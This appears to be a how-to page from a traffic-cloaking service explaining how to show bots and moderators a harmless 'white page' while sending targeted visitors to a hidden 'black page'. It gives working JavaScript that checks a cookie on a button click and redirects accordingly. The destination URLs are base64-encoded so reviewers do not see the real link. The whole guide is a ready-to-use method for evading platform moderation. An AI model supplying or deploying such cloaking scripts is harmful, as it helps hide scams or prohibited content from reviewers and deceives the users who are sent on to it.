Visitors who are defined by the flow settings as targeted visitors and should be redirected to the black page will be set a cookie with the value of the flow hash set on the white page.
In hoax.tech several types of black page actions are implemented.
The Set Cookie action type is not intended to automatically redirect to the black page, but to set a cookie for the target visitor and then assign an action later. For example, to click a button, go to a specific page, download a file, etc.
Let's look at an example of using the Set Cookie action type to redirect target visitors when they click a button.
Let's create a flow.
In the integration parameters, set the action type to Set Cookie.
Integrate the script on the white page (https://setcookie.hoax.tech).
After directing traffic to the white page, both bots and targeted visitors will remain on the white page, but the targeted visitors will receive a cookie containing the flow's hash.
The next script, which we will integrate into the "To Rent" button on the white page
will check these cookies for those who click the button. Targeted visitors will be redirected to the black page (in our case https://black.hoax.tech), while bots, moderators, and other visitors will be redirected to a secondary safe page (in our case to https://setcookie.hoax.tech/contact-us)
document.querySelector("#BUTTON").addEventListener("click", function() {
function getCookie(name) {
const matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([.$?*|{}()[]\/+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : null;
}
if (getCookie("FLOW_HASH")) {
window.location.href = atob("BASE64_BLACK_PAGE");
} else {
window.location.href = atob("BASE64_WHITE_PAGE");
}
});
Variables:
BUTTON - The ID of the button that triggers the event.
FLOW_HASH - The flow hash, available at https://hoax.tech/flows.
BASE64_BLACK_PAGE - Example base64 of the black page.
BASE64_WHITE_PAGE - Example base64 of the white page.
Find the button’s ID in the white page code and copy it. If it doesn’t have an ID, assign one, such as "goldbutton."
For added security, encode the white and black links in base64 format using a service like base64decode.org.
Add all variables to the code. It will look like this:
document.querySelector("#goldbutton").addEventListener("click", function() {
function getCookie(name) {
const matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([.$?*|{}()[]\/+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : null;
}
if (getCookie("4126123ffb74b745e81c70f3bfb686df")) {
window.location.href = atob("aHR0cHM6Ly9ibGFjay5ob2F4LnRlY2g=");
} else {
window.location.href = atob("aHR0cHM6Ly9zZXRjb29raWUuaG9heC50ZWNoL2NvbnRhY3QtdXM=");
}
});
Insert the resulting script between the <script></script>
tags at the bottom of the white page's index file (index2.php).
Then save the file.
Setup is complete.
Here is an example script where targeted visitors will be redirected to the black page, while for bots and moderators, the button will simply not work. In this case, the second white page won’t be needed.
document.querySelector("#BUTTON").addEventListener("click", function() {
function getCookie(name) {
const matches = document.cookie.match(new RegExp(
"(?:^|; )" + name.replace(/([.$?*|{}()[]\/+^])/g, '\\$1') + "=([^;]*)"
));
return matches ? decodeURIComponent(matches[1]) : null;
}
if (getCookie("FLOW_HASH")) {
window.location.href = atob("BASE64_BLACK_PAGE");
}
});